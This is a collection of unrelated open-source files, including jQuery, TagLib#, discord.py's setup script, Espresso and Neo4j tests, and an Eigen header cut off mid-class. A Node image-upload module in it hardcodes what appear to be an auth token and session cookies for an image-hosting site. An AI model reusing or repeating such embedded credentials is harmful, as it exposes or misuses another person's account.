* values (like a Deferred)
*
* unique: will ensure a callback can only be added once (no duplicate in the list)
*
* stopOnFalse: interrupt callings when a callback returns false
*
*/
jQuery.Callbacks = function( options ) {
// Convert options from String-formatted to Object-formatted if needed
// (we check in cache first)
options = typeof options === "string" ?
( optionsCache[ options ] || createOptions( options ) ) :
jQuery.extend( {}, options );
var // Last fire value (for non-forgettable lists)
memory,
// Flag to know if list was already fired
fired,
// Flag to know if list is currently firing
firing,
// First callback to fire (used internally by add and fireWith)
firingStart,
// End of the loop when firing
firingLength,
// Index of currently firing callback (modified by remove if needed)
firingIndex,
// Actual callback list
list = [],
// Stack of fire calls for repeatable lists
stack = !options.once && [],
// Fire callbacks
fire = function( data ) {
memory = options.memory && data;
fired = true;
firingIndex = firingStart || 0;
firingStart = 0;
firingLength = list.length;
firing = true;
for ( ; list && firingIndex < firingLength; firingIndex++ ) {
if ( list[ firingIndex ].apply( data[ 0 ], data[ 1 ] ) === false && options.stopOnFalse ) {
memory = false; // To prevent further calls using add
break;
}
}
firing = false;
if ( list ) {
if ( stack ) {
if ( stack.length ) {
fire( stack.shift() );
}
} else if ( memory ) {
list = [];
} else {
self.disable();
}
}
},
// Actual Callbacks object
self = {
// Add a callback or a collection of callbacks to the list
add: function() {
if ( list ) {
// First, we save the current length
var start = list.length;
(function add( args ) {
jQuery.each( args, function( _, arg ) {
var type = jQuery.type( arg );
if ( type === "function" ) {
if ( !options.unique || !self.has( arg ) ) {
list.push( arg );
}
} else if ( arg && arg.length && type !== "string" ) {
// Inspect recursively
add( arg );
}
});
})( arguments );
// Do we need to add the callbacks to the
// current firing batch?
if ( firing ) {
firingLength = list.length;
// With memory, if we're not firing then
// we should call right away
} else if ( memory ) {
firingStart = start;
fire( memory );
}
}
return this;
},
// Remove a callback from the list
remove: function() {
if ( list ) {
jQuery.each( arguments, function( _, arg ) {
var index;
while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {
list.splice( index, 1 );
// Handle firing indexes
if ( firing ) {
if ( index <= firingLength ) {
firingLength--;
}
if ( index <= firingIndex ) {
firingIndex--;
}
}
}
});
}
return this;
},
// Check if a given callback is in the list.
// If no argument is given, return whether or not list has callbacks attached.
has: function( fn ) {
return fn ? jQuery.inArray( fn, list ) > -1 : !!( list && list.length );
},
// Remove all callbacks from the list
empty: function() {
list = [];
firingLength = 0;
return this;
},
// Have the list do nothing anymore
disable: function() {
list = stack = memory = undefined;
return this;
},
// Is it disabled?
disabled: function() {
return !list;
},
// Lock the list in its current state
lock: function() {
stack = undefined;
if ( !memory ) {
self.disable();
}
return this;
},
// Is it locked?
locked: function() {
return !stack;
},
// Call all callbacks with the given context and arguments
fireWith: function( context, args ) {
if ( list && ( !fired || stack ) ) {
args = args || [];
args = [ context, args.slice ? args.slice() : args ];
if ( firing ) {
stack.push( args );
} else {
fire( args );
}
}
return this;
},
// Call all the callbacks with the given arguments
fire: function() {
self.fireWith( this, arguments );
return this;
},
// To know if the callbacks have already been called at least once
fired: function() {
return !!fired;
}
};
return self;
};
return jQuery;
});
| {
"pile_set_name": "Github"
} |
package com.oath.micro.server.application.registry;
import java.io.InputStream;
import java.util.HashMap;
import java.util.Map;
import java.util.function.Supplier;
import java.util.jar.Attributes;
import java.util.jar.Manifest;
import cyclops.function.FluentFunctions;
import cyclops.reactive.ReactiveSeq;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import lombok.AccessLevel;
import lombok.NoArgsConstructor;
@NoArgsConstructor(access = AccessLevel.PRIVATE)
public class ManifestLoader {
public final static ManifestLoader instance = new ManifestLoader();
private final Logger logger = LoggerFactory.getLogger(getClass());
Supplier<Map<String, String>> fn = FluentFunctions.of(this::manifest).memoize();
public Map<String, String> getManifest() {
return fn.get();
}
private Map<String, String> manifest() {
try {
return ReactiveSeq.of("META-INF/MANIFEST.MF")
.map(url -> this.getClass()
.getClassLoader()
.getResourceAsStream(url))
.map(this::getManifest)
.single()
.orElse(null);
} catch (Exception e) {
logger.warn("Warning : can't load manifest due to exception {}", e.getMessage());
}
return null;
}
public Map<String, String> getManifest(final InputStream input) {
final Map<String, String> retMap = new HashMap<String, String>();
try {
Manifest manifest = new Manifest();
manifest.read(input);
final Attributes attributes = manifest.getMainAttributes();
for (final Map.Entry attribute : attributes.entrySet()) {
retMap.put(attribute.getKey().toString(), attribute.getValue().toString());
}
} catch (final Exception ex) {
logger.error("Failed to load manifest ", ex);
}
return retMap;
}
}
| {
"pile_set_name": "Github"
} |
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Scenario3.aspx.cs" Inherits="Core.ContentTypesAndFieldsWeb.Pages.Scenario3" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
<script type="text/javascript" src="../Scripts/jquery-1.9.1.js"></script>
<script type="text/javascript" src="../Scripts/app.js"></script>
</head>
<body style="display: none; overflow: auto;">
<form id="form1" runat="server">
<asp:ScriptManager ID="ScriptManager1" runat="server" EnableCdn="True" />
<div id="divSPChrome"></div>
<div style="left: 40px; position: absolute;">
<h1>Scenario 3: List and content types</h1>
In this scenario you'll learn how to create content type and how to associate it as default content type to a list.
<br />
<i>Notice that there's no automatic cleaning with these scenarios.</i>
<ul style="list-style-type: square;">
<li>Creation of new content type</li>
<li>Adding site columns to newly added content type</li>
<li>Associating content type to newly created list</li>
<li>Set content type as default content type for the list</li>
</ul>
<br />
Choose a list name for the newly created list which we will manipulate as needed. If list exists already, it will be also modified.
<br />
<asp:TextBox runat="server" ID="txtListName" Text="Sample" />
<br />
<br />
<asp:Button runat="server" ID="btnScenario3" Text="Run scenario 3" OnClick="btnScenario3_Click" />
<asp:Label ID="lblStatus3" runat="server" />
<br />
</div>
</form>
</body>
</html>
| {
"pile_set_name": "Github"
} |
//
// EndTag.cs: Provides support for accessing and modifying a collection of tags
// appearing at the end of a file.
//
// Author:
// Brian Nickel ([email protected])
//
// Copyright (C) 2007 Brian Nickel
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
//
using System;
namespace TagLib.NonContainer
{
/// <summary>
/// This class extends <see cref="CombinedTag" />, providing support
/// for accessing and modifying a collection of tags appearing at the
/// end of a file.
/// </summary>
/// <remarks>
/// <para>This class is used by <see cref="TagLib.NonContainer.File"
/// /> to read all the tags appearing at the end of the file but
/// could be used by other classes. It currently supports ID3v1,
/// ID3v2, and APE tags.</para>
/// </remarks>
public class EndTag : CombinedTag
{
#region Private Fields
/// <summary>
/// Contains the file to operate on.
/// </summary>
readonly TagLib.File file;
/// <summary>
/// Contains the number of bytes that must be read to
/// hold all applicable indicators.
/// </summary>
static readonly int read_size = (int)Math.Max (Math.Max (Ape.Footer.Size, Id3v2.Footer.Size), Id3v1.Tag.Size);
#endregion
#region Constructors
/// <summary>
/// Constructs and initializes a new instance of <see
/// cref="EndTag" /> for a specified <see cref="TagLib.File"
/// />.
/// </summary>
/// <param name="file">
/// A <see cref="TagLib.File" /> object on which the new
/// instance will perform its operations.
/// </param>
/// <remarks>
/// Constructing a new instance does not automatically read
/// the contents from the disk. <see cref="Read" /> must be
/// called to read the tags.
/// </remarks>
public EndTag (TagLib.File file)
{
this.file = file;
}
#endregion
#region Public Properties
/// <summary>
/// Gets the total size of the tags located at the end of the
/// file by reading from the file.
/// </summary>
public long TotalSize {
get {
long start = file.Length;
while (ReadTagInfo (ref start) != TagTypes.None)
;
return file.Length - start;
}
}
#endregion
#region Public Methods
/// <summary>
/// Reads the tags stored at the end of the file into the
/// current instance.
/// </summary>
/// <returns>
/// A <see cref="long" /> value indicating the seek position
/// in the file at which the read tags begin. This also
/// marks the seek position at which the media ends.
/// </returns>
public long Read (ReadStyle style)
{
TagLib.Tag tag;
ClearTags ();
long start = file.Length;
while ((tag = ReadTag (ref start, style)) != null)
InsertTag (0, tag);
return start;
}
/// <summary>
/// Renders the tags contained in the current instance.
/// </summary>
/// <returns>
/// A <see cref="ByteVector" /> object containing the
/// physical representation of the tags stored in the current
/// instance.
/// </returns>
/// <remarks>
/// The tags are rendered in the order that they are stored
/// in the current instance.
/// </remarks>
public ByteVector Render ()
{
ByteVector data = new ByteVector ();
foreach (TagLib.Tag t in Tags) {
if (t is Ape.Tag tag)
data.Add (tag.Render ());
else if (t is Id3v2.Tag tag1)
data.Add (tag1.Render ());
else if (t is Id3v1.Tag tag2)
data.Add (tag2.Render ());
}
return data;
}
/// <summary>
/// Writes the tags contained in the current instance to the
/// end of the file that created it, overwriting the existing
/// tags.
/// </summary>
/// <returns>
/// A <see cref="long" /> value indicating the seek position
/// in the file at which the written tags begin. This also
/// marks the seek position at which the media ends.
/// </returns>
public long Write ()
{
long total_size = TotalSize;
ByteVector data = Render ();
file.Insert (data, file.Length - total_size, total_size);
return file.Length - data.Count;
}
/// <summary>
/// Removes a set of tag types from the current instance.
/// </summary>
/// <param name="types">
/// A bitwise combined <see cref="TagLib.TagTypes" /> value
/// containing tag types to be removed from the file.
/// </param>
/// <remarks>
/// In order to remove all tags from a file, pass <see
/// cref="TagTypes.AllTags" /> as <paramref name="types" />.
/// </remarks>
public void RemoveTags (TagTypes types)
{
for (int i = Tags.Length - 1; i >= 0; i--) {
var tag = Tags[i];
if (types == TagTypes.AllTags || (tag.TagTypes & types) == tag.TagTypes) {
RemoveTag (tag);
}
}
}
/// <summary>
/// Adds a tag of a specified type to the current instance,
/// optionally copying values from an existing type.
/// </summary>
/// <param name="type">
/// A <see cref="TagTypes" /> value specifying the type of
/// tag to add to the current instance. At the time of this
/// writing, this is limited to <see cref="TagTypes.Ape" />,
/// <see cref="TagTypes.Id3v1" />, and <see
/// cref="TagTypes.Id3v2" />.
/// </param>
/// <param name="copy">
/// A <see cref="TagLib.Tag" /> to copy values from using
/// <see cref="TagLib.Tag.CopyTo" />, or <see
/// langword="null" /> if no tag is to be copied.
/// </param>
/// <returns>
/// The <see cref="TagLib.Tag" /> object added to the current
/// instance, or <see langword="null" /> if it couldn't be
/// created.
/// </returns>
/// <remarks>
/// ID3v2 tags are added at the end of the current instance,
/// while other tags are added to the beginning.
/// </remarks>
public TagLib.Tag AddTag (TagTypes type, TagLib.Tag copy)
{
TagLib.Tag tag = null;
if (type == TagTypes.Id3v1) {
tag = new TagLib.Id3v1.Tag ();
} else if (type == TagTypes.Id3v2) {
Id3v2.Tag tag32 = new Id3v2.Tag {
Version = 4
};
tag32.Flags |= Id3v2.HeaderFlags.FooterPresent;
tag = tag32;
} else if (type == TagTypes.Ape) {
tag = new TagLib.Ape.Tag ();
}
if (tag != null) {
copy?.CopyTo (tag, true);
if (type == TagTypes.Id3v1)
AddTag (tag);
else
InsertTag (0, tag);
}
return tag;
}
#endregion
#region Private Methods
/// <summary>
/// Reads a tag ending at a specified position and moves the
/// cursor to its start position.
/// </summary>
/// <param name="end">
/// A <see cref="long" /> value reference specifying at what
/// position the potential tag ends at. If a tag is found,
/// this value will be updated to the position at which the
/// found tag starts.
/// </param>
/// <param name="style">
/// A <see cref="ReadStyle"/> value specifying how the media
/// data is to be read into the current instance.
/// </param>
/// <returns>
/// A <see cref="TagLib.Tag" /> object representing the tag
/// found at the specified position, or <see langword="null"
/// /> if no tag was found.
/// </returns>
TagLib.Tag ReadTag (ref long end, ReadStyle style)
{
long start = end;
TagTypes type = ReadTagInfo (ref start);
TagLib.Tag tag = null;
try {
switch (type) {
case TagTypes.Ape:
tag = new TagLib.Ape.Tag (file, end - Ape.Footer.Size);
break;
case TagTypes.Id3v2:
tag = new TagLib.Id3v2.Tag (file, start, style);
break;
case TagTypes.Id3v1:
tag = new TagLib.Id3v1.Tag (file, start);
break;
}
end = start;
} catch (CorruptFileException) {
}
return tag;
}
/// <summary>
/// Looks for a tag ending at a specified position and moves
/// the cursor to its start position.
/// </summary>
/// <param name="position">
/// A <see cref="long" /> value reference specifying at what
/// position the potential tag ends. If a tag is found,
/// this value will be updated to the position at which the
/// found tag starts.
/// </param>
/// <returns>
/// A <see cref="TagLib.TagTypes" /> value specifying the
/// type of tag found at the specified position, or <see
/// cref="TagTypes.None" /> if no tag was found.
/// </returns>
TagTypes ReadTagInfo (ref long position)
{
if (position - read_size < 0)
return TagTypes.None;
file.Seek (position - read_size);
ByteVector data = file.ReadBlock (read_size);
try {
int offset = (int)(data.Count - Ape.Footer.Size);
if (data.ContainsAt (Ape.Footer.FileIdentifier, offset)) {
Ape.Footer footer = new Ape.Footer (data.Mid (offset));
// If the complete tag size is zero or
// the tag is a header, this indicates
// some sort of corruption.
if (footer.CompleteTagSize == 0 ||
(footer.Flags & Ape.FooterFlags.IsHeader) != 0)
return TagTypes.None;
position -= footer.CompleteTagSize;
return TagTypes.Ape;
}
offset = (int)(data.Count - Id3v2.Footer.Size);
if (data.ContainsAt (Id3v2.Footer.FileIdentifier,
offset)) {
var footer = new Id3v2.Footer (data.Mid (offset));
position -= footer.CompleteTagSize;
return TagTypes.Id3v2;
}
if (data.StartsWith (Id3v1.Tag.FileIdentifier)) {
position -= Id3v1.Tag.Size;
return TagTypes.Id3v1;
}
} catch (CorruptFileException) {
}
return TagTypes.None;
}
#endregion
}
}
| {
"pile_set_name": "Github"
} |
/**
* 图片上传模块
*/
const fly = require("flyio");
const request = require('../libs/request');
module.exports = async function (originUrl) {
return originUrl;
let params = {
source: originUrl,
type: "url",
action: "upload",
timestamp: new Date().getTime(),
auth_token: "a677acae12fee7248397b016ca53b702eafea751",
nsfw: 0,
album_id: "jpC"
}
let headers = {
"accept": "application/json",
"origin": "https://extraimage.net",
"pragma": "no-cache",
"referer": "https://extraimage.net/lisniuse",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"content-type": "multipart/form-data; boundary=----WebKitFormBoundaryQJy3LEdj7ESiAljn",
"cookie": "__cfduid=d2e447103eefd5df5b75e87c11d8088631547967634; _ga=GA1.2.1230322488.1565976568; PHPSESSID=m40e3l8g2d7hpgdos4nj2qlch8; _gid=GA1.2.921531165.1571365602; _gat=1"
}
let result = await fly.upload("https://extraimage.net/json", params, {
headers
});
let url = result.data.image.url;
return url;
// return request.post('https://extraimage.net/json', params, headers);
}
| {
"pile_set_name": "Github"
} |
//========= Copyright Valve Corporation, All rights reserved. ============//
//
// Purpose:
//
//=============================================================================//
#ifndef C_PIXEL_VISIBILITY_H
#define C_PIXEL_VISIBILITY_H
#ifdef _WIN32
#pragma once
#endif
const float PIXELVIS_DEFAULT_PROXY_SIZE = 2.0f;
const float PIXELVIS_DEFAULT_FADE_TIME = 0.0625f;
typedef int pixelvis_handle_t;
struct pixelvis_queryparams_t
{
pixelvis_queryparams_t()
{
bSetup = false;
}
void Init( const Vector &origin, float proxySizeIn = PIXELVIS_DEFAULT_PROXY_SIZE, float proxyAspectIn = 1.0f, float fadeTimeIn = PIXELVIS_DEFAULT_FADE_TIME )
{
position = origin;
proxySize = proxySizeIn;
proxyAspect = proxyAspectIn;
fadeTime = fadeTimeIn;
bSetup = true;
bSizeInScreenspace = false;
}
Vector position;
float proxySize;
float proxyAspect;
float fadeTime;
bool bSetup;
bool bSizeInScreenspace;
};
float PixelVisibility_FractionVisible( const pixelvis_queryparams_t ¶ms, pixelvis_handle_t *queryHandle );
float StandardGlowBlend( const pixelvis_queryparams_t ¶ms, pixelvis_handle_t *queryHandle, int rendermode, int renderfx, int alpha, float *pscale );
void PixelVisibility_ShiftVisibilityViews( int iSourceViewID, int iDestViewID ); //mainly needed by portal mod to avoid a pop in visibility when teleporting the player
void PixelVisibility_EndCurrentView();
void PixelVisibility_EndScene();
float GlowSightDistance( const Vector &glowOrigin, bool bShouldTrace );
// returns true if the video hardware is doing the tests, false is traceline is doing so.
bool PixelVisibility_IsAvailable();
#endif // C_PIXEL_VISIBILITY_H
| {
"pile_set_name": "Github"
} |
from setuptools import setup
import re
requirements = []
with open('requirements.txt') as f:
requirements = f.read().splitlines()
version = ''
with open('discord/__init__.py') as f:
version = re.search(r'^__version__\s*=\s*[\'"]([^\'"]*)[\'"]', f.read(), re.MULTILINE).group(1)
if not version:
raise RuntimeError('version is not set')
if version.endswith(('a', 'b', 'rc')):
# append version identifier based on commit count
try:
import subprocess
p = subprocess.Popen(['git', 'rev-list', '--count', 'HEAD'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()
if out:
version += out.decode('utf-8').strip()
p = subprocess.Popen(['git', 'rev-parse', '--short', 'HEAD'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()
if out:
version += '+g' + out.decode('utf-8').strip()
except Exception:
pass
readme = ''
with open('README.rst') as f:
readme = f.read()
extras_require = {
'voice': ['PyNaCl==1.3.0'],
'docs': [
'sphinx==1.8.5',
'sphinxcontrib_trio==1.1.1',
'sphinxcontrib-websupport',
]
}
setup(name='discord.py',
author='Rapptz',
url='https://github.com/Rapptz/discord.py',
project_urls={
"Documentation": "https://discordpy.readthedocs.io/en/latest/",
"Issue tracker": "https://github.com/Rapptz/discord.py/issues",
},
version=version,
packages=['discord', 'discord.ext.commands', 'discord.ext.tasks'],
license='MIT',
description='A Python wrapper for the Discord API',
long_description=readme,
long_description_content_type="text/x-rst",
include_package_data=True,
install_requires=requirements,
extras_require=extras_require,
python_requires='>=3.5.3',
classifiers=[
'Development Status :: 5 - Production/Stable',
'License :: OSI Approved :: MIT License',
'Intended Audience :: Developers',
'Natural Language :: English',
'Operating System :: OS Independent',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: 3.8',
'Topic :: Internet',
'Topic :: Software Development :: Libraries',
'Topic :: Software Development :: Libraries :: Python Modules',
'Topic :: Utilities',
]
)
| {
"pile_set_name": "Github"
} |
package com.google.android.apps.common.testing.ui.testapp;
import static com.google.android.apps.common.testing.ui.espresso.Espresso.onView;
import static com.google.android.apps.common.testing.ui.espresso.Espresso.setFailureHandler;
import static com.google.android.apps.common.testing.ui.espresso.action.ViewActions.click;
import static com.google.android.apps.common.testing.ui.espresso.matcher.ViewMatchers.withText;
import com.google.android.apps.common.testing.ui.espresso.FailureHandler;
import com.google.android.apps.common.testing.ui.espresso.NoMatchingViewException;
import com.google.android.apps.common.testing.ui.espresso.base.DefaultFailureHandler;
import com.google.android.apps.common.testing.ui.testapp.MainActivity;
import android.content.Context;
import android.test.ActivityInstrumentationTestCase2;
import android.test.suitebuilder.annotation.LargeTest;
import android.util.Log;
import android.view.View;
import org.hamcrest.Matcher;
/**
* A sample of how to set a non-default {@link FailureHandler}.
*/
@LargeTest
public class CustomFailureHandlerTest extends ActivityInstrumentationTestCase2<MainActivity> {
private static final String TAG = "CustomFailureHandlerTest";
@SuppressWarnings("deprecation")
public CustomFailureHandlerTest() {
// This constructor was deprecated - but we want to support lower API levels.
super("com.google.android.apps.common.testing.ui.testapp", MainActivity.class);
}
@Override
public void setUp() throws Exception {
super.setUp();
getActivity();
setFailureHandler(new CustomFailureHandler(getInstrumentation().getTargetContext()));
}
public void testWithCustomFailureHandler() {
try {
onView(withText("does not exist")).perform(click());
} catch (MySpecialException expected) {
Log.e(TAG, "Special exception is special and expected: ", expected);
}
}
/**
* A {@link FailureHandler} that re-throws {@link NoMatchingViewException} as
* {@link MySpecialException}. All other functionality is delegated to
* {@link DefaultFailureHandler}.
*/
private static class CustomFailureHandler implements FailureHandler {
private final FailureHandler delegate;
public CustomFailureHandler(Context targetContext) {
delegate = new DefaultFailureHandler(targetContext);
}
@Override
public void handle(Throwable error, Matcher<View> viewMatcher) {
try {
delegate.handle(error, viewMatcher);
} catch (NoMatchingViewException e) {
throw new MySpecialException(e);
}
}
}
private static class MySpecialException extends RuntimeException {
MySpecialException(Throwable cause) {
super(cause);
}
}
}
| {
"pile_set_name": "Github"
} |
/**
* Copyright (C) 2014 The SciGraph authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package io.scigraph.neo4j;
import static com.google.common.collect.Iterables.size;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.is;
import io.scigraph.neo4j.Graph;
import io.scigraph.neo4j.GraphBatchImpl;
import io.scigraph.neo4j.IdMap;
import io.scigraph.neo4j.RelationshipMap;
import java.io.File;
import java.io.IOException;
import java.util.Collections;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TemporaryFolder;
import org.mapdb.DB;
import org.mapdb.DBMaker;
import org.neo4j.graphdb.GraphDatabaseService;
import org.neo4j.graphdb.Node;
import org.neo4j.graphdb.Relationship;
import org.neo4j.graphdb.RelationshipType;
import org.neo4j.graphdb.Transaction;
import org.neo4j.graphdb.factory.GraphDatabaseFactory;
import org.neo4j.graphdb.index.ReadableIndex;
import org.neo4j.unsafe.batchinsert.BatchInserter;
import org.neo4j.unsafe.batchinsert.BatchInserters;
public class GraphBatchImplMultipleLoadTest {
private static final RelationshipType TYPE = RelationshipType.withName("type");
@Rule
public TemporaryFolder folder = new TemporaryFolder();
String path;
GraphDatabaseService graphDb;
ReadableIndex<Node> nodeIndex;
DB maker;
@Before
public void setup() throws IOException {
path = folder.newFolder().getAbsolutePath();
maker = DBMaker.newMemoryDB().make();
}
Graph getBatchGraph() throws IOException {
BatchInserter inserter = BatchInserters.inserter(new File(path));
return new GraphBatchImpl(inserter, "uri", Collections.<String>emptySet(), Collections.<String>emptySet(),
new IdMap(maker), new RelationshipMap(maker));
}
GraphDatabaseService getGraphDB() {
graphDb = new GraphDatabaseFactory().newEmbeddedDatabase(new File(path));
return graphDb;
}
@Test
public void testMultipleInserts() throws IOException {
Graph batchGraph = getBatchGraph();
long a = batchGraph.createNode("a");
long b = batchGraph.createNode("b");
batchGraph.createRelationship(a, b, TYPE);
batchGraph.shutdown();
batchGraph = getBatchGraph();
a = batchGraph.createNode("a");
long c = batchGraph.createNode("c");
batchGraph.createRelationship(a, c, TYPE);
batchGraph.shutdown();
GraphDatabaseService graphDb = getGraphDB();
try (Transaction tx = graphDb.beginTx()) {
Iterable<Node> nodes = graphDb.getAllNodes();
assertThat(size(nodes), is(3));
Iterable<Relationship> relationships = graphDb.getAllRelationships();
assertThat(size(relationships), is(2));
tx.success();
}
}
}
| {
"pile_set_name": "Github"
} |
// This file is part of Eigen, a lightweight C++ template library
// for linear algebra.
//
// Copyright (C) 2008 Gael Guennebaud <[email protected]>
// Copyright (C) 2008 Benoit Jacob <[email protected]>
//
// This Source Code Form is subject to the terms of the Mozilla
// Public License v. 2.0. If a copy of the MPL was not distributed
// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.
#ifndef EIGEN_CWISE_H
#define EIGEN_CWISE_H
namespace Eigen {
/** \internal
* convenient macro to defined the return type of a cwise binary operation */
#define EIGEN_CWISE_BINOP_RETURN_TYPE(OP) \
CwiseBinaryOp<OP<typename internal::traits<ExpressionType>::Scalar>, ExpressionType, OtherDerived>
/** \internal
* convenient macro to defined the return type of a cwise unary operation */
#define EIGEN_CWISE_UNOP_RETURN_TYPE(OP) \
CwiseUnaryOp<OP<typename internal::traits<ExpressionType>::Scalar>, ExpressionType>
/** \internal
* convenient macro to defined the return type of a cwise comparison to a scalar */
#define EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(OP) \
CwiseBinaryOp<OP<typename internal::traits<ExpressionType>::Scalar>, ExpressionType, \
typename ExpressionType::ConstantReturnType >
/** \class Cwise
*
* \brief Pseudo expression providing additional coefficient-wise operations
*
* \param ExpressionType the type of the object on which to do coefficient-wise operations
*
* This class represents an expression with additional coefficient-wise features.
* It is the return type of MatrixBase::cwise()
* and most of the time this is the only way it is used.
*
* Example: \include MatrixBase_cwise_const.cpp
* Output: \verbinclude MatrixBase_cwise_const.out
*
* This class can be extended with the help of the plugin mechanism described on the page
* \ref TopicCustomizingEigen by defining the preprocessor symbol \c EIGEN_CWISE_PLUGIN.
*
* \sa MatrixBase::cwise() const, MatrixBase::cwise()
*/
template<typename ExpressionType> class Cwise
{
public:
typedef typename internal::traits<ExpressionType>::Scalar Scalar;
typedef typename internal::conditional<internal::must_nest_by_value<ExpressionType>::ret,
ExpressionType, const ExpressionType&>::type ExpressionTypeNested;
typedef CwiseUnaryOp<internal::scalar_add_op<Scalar>, ExpressionType> ScalarAddReturnType;
inline Cwise(const ExpressionType& matrix) : m_matrix(matrix) {}
/** \internal */
inline const ExpressionType& _expression() const { return m_matrix; }
template<typename OtherDerived>
const EIGEN_CWISE_PRODUCT_RETURN_TYPE(ExpressionType,OtherDerived)
operator*(const MatrixBase<OtherDerived> &other) const;
template<typename OtherDerived>
const EIGEN_CWISE_BINOP_RETURN_TYPE(internal::scalar_quotient_op)
operator/(const MatrixBase<OtherDerived> &other) const;
/** \deprecated ArrayBase::min() */
template<typename OtherDerived>
const EIGEN_CWISE_BINOP_RETURN_TYPE(internal::scalar_min_op)
(min)(const MatrixBase<OtherDerived> &other) const
{ return EIGEN_CWISE_BINOP_RETURN_TYPE(internal::scalar_min_op)(_expression(), other.derived()); }
/** \deprecated ArrayBase::max() */
template<typename OtherDerived>
const EIGEN_CWISE_BINOP_RETURN_TYPE(internal::scalar_max_op)
(max)(const MatrixBase<OtherDerived> &other) const
{ return EIGEN_CWISE_BINOP_RETURN_TYPE(internal::scalar_max_op)(_expression(), other.derived()); }
const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_abs_op) abs() const;
const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_abs2_op) abs2() const;
const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_square_op) square() const;
const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_cube_op) cube() const;
const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_inverse_op) inverse() const;
const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_sqrt_op) sqrt() const;
const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_exp_op) exp() const;
const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_log_op) log() const;
const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_cos_op) cos() const;
const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_sin_op) sin() const;
const EIGEN_CWISE_UNOP_RETURN_TYPE(internal::scalar_pow_op) pow(const Scalar& exponent) const;
const ScalarAddReturnType
operator+(const Scalar& scalar) const;
/** \relates Cwise */
friend const ScalarAddReturnType
operator+(const Scalar& scalar, const Cwise& mat)
{ return mat + scalar; }
ExpressionType& operator+=(const Scalar& scalar);
const ScalarAddReturnType
operator-(const Scalar& scalar) const;
ExpressionType& operator-=(const Scalar& scalar);
template<typename OtherDerived>
inline ExpressionType& operator*=(const MatrixBase<OtherDerived> &other);
template<typename OtherDerived>
inline ExpressionType& operator/=(const MatrixBase<OtherDerived> &other);
template<typename OtherDerived> const EIGEN_CWISE_BINOP_RETURN_TYPE(std::less)
operator<(const MatrixBase<OtherDerived>& other) const;
template<typename OtherDerived> const EIGEN_CWISE_BINOP_RETURN_TYPE(std::less_equal)
operator<=(const MatrixBase<OtherDerived>& other) const;
template<typename OtherDerived> const EIGEN_CWISE_BINOP_RETURN_TYPE(std::greater)
operator>(const MatrixBase<OtherDerived>& other) const;
template<typename OtherDerived> const EIGEN_CWISE_BINOP_RETURN_TYPE(std::greater_equal)
operator>=(const MatrixBase<OtherDerived>& other) const;
template<typename OtherDerived> const EIGEN_CWISE_BINOP_RETURN_TYPE(std::equal_to)
operator==(const MatrixBase<OtherDerived>& other) const;
template<typename OtherDerived> const EIGEN_CWISE_BINOP_RETURN_TYPE(std::not_equal_to)
operator!=(const MatrixBase<OtherDerived>& other) const;
// comparisons to a scalar value
const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::less)
operator<(Scalar s) const;
const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::less_equal)
operator<=(Scalar s) const;
const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::greater)
operator>(Scalar s) const;
const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::greater_equal)
operator>=(Scalar s) const;
const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::equal_to)
operator==(Scalar s) const;
const EIGEN_CWISE_COMP_TO_SCALAR_RETURN_TYPE(std::not_equal_to)
operator!=(Scalar s) const;
// allow to extend Cwise outside Eigen
